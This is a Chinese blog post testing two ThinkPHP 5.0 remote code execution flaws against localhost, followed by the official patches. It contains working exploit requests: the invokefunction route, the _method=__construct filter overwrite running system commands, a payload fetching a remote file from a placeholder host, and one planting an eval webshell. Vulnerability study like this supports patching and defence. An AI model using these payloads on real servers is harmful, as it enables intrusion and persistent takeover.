前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP5.0 漏洞测试

ThinkPHP5.0 漏洞测试

作者头像
WindrunnerMax
发布2020-08-27 16:34:15
1.2K0
发布2020-08-27 16:34:15
举报
文章被收录于专栏:Czy‘s BlogCzy‘s Blog

ThinkPHP5.0 漏洞测试

自从ThinkPHP发布漏洞补丁以来,服务器不知道多少次受到了批量扫描漏洞来抓取肉鸡的请求 虽然官方早已发布补丁,还是想试一下TP漏洞,测试两个漏洞

一、全版本执行漏洞

代码语言:javascript
复制
<!-- GET -->
http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

由于对控制器名没有明确的检测,在没有开启强制路由的情况下,直接就可以执行phpinfo(),如果服务器未限制shell等函数的执行,便可以直接执行shell提权

在这里插入图片描述
在这里插入图片描述

详细的漏洞执行过程可以参考 漏洞执行过程

官方补丁

加入正则表达式来限制控制器名

代码语言:javascript
复制
/* /thinkphp/library/think/App.php 555行 加入 */
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
     throw new HttpException(404, 'controller not exists:' . $controller);
}

二、_method漏洞

代码语言:javascript
复制
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter[]=system&method=GET&get[]=dir

触发条件

代码语言:javascript
复制
//Config.php
'var_method'             => '_method'

利用_POST['_method']变量来传递真实的请求方法,当_POST['_method']=__construct时,Request类的method方法便会将该类的变量进行覆盖,利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令 基于此可以直接上传PHP文件 test.php

代码语言:javascript
复制
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown

生成一句话木马

代码语言:javascript
复制
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123

可以在config.php将_method设置为其他字符,或者升级TP

官方补丁

官方补丁中限制了_method可疑设置的请求方法,并在处理_method之后将其unset,无法再利用__construct进行变量覆盖

代码语言:javascript
复制
/* thinkphp/library/think/Request.php */
 public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $method = strtoupper($_POST[Config::get('var_method')]);
                if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                    $this->method = $method;
                    $this->{$this->method}($_POST);
                } else {
                    $this->method = 'POST';
                }
                unset($_POST[Config::get('var_method')]); //unset
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            }
        }
        return $this->method;
    }

参考文章: https://www.cnblogs.com/st404/p/10245844.html https://mrxn.net/Infiltration/618.html https://www.cnblogs.com/nul1/p/11863574.html https://www.vulnbug.com/amp/thkphp5x-code-execution-vulnerabilities-and-bypass.html https://www.freebuf.com/vuls/194127.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-03-24 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ThinkPHP5.0 漏洞测试
    • 一、全版本执行漏洞
      • 二、_method漏洞
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档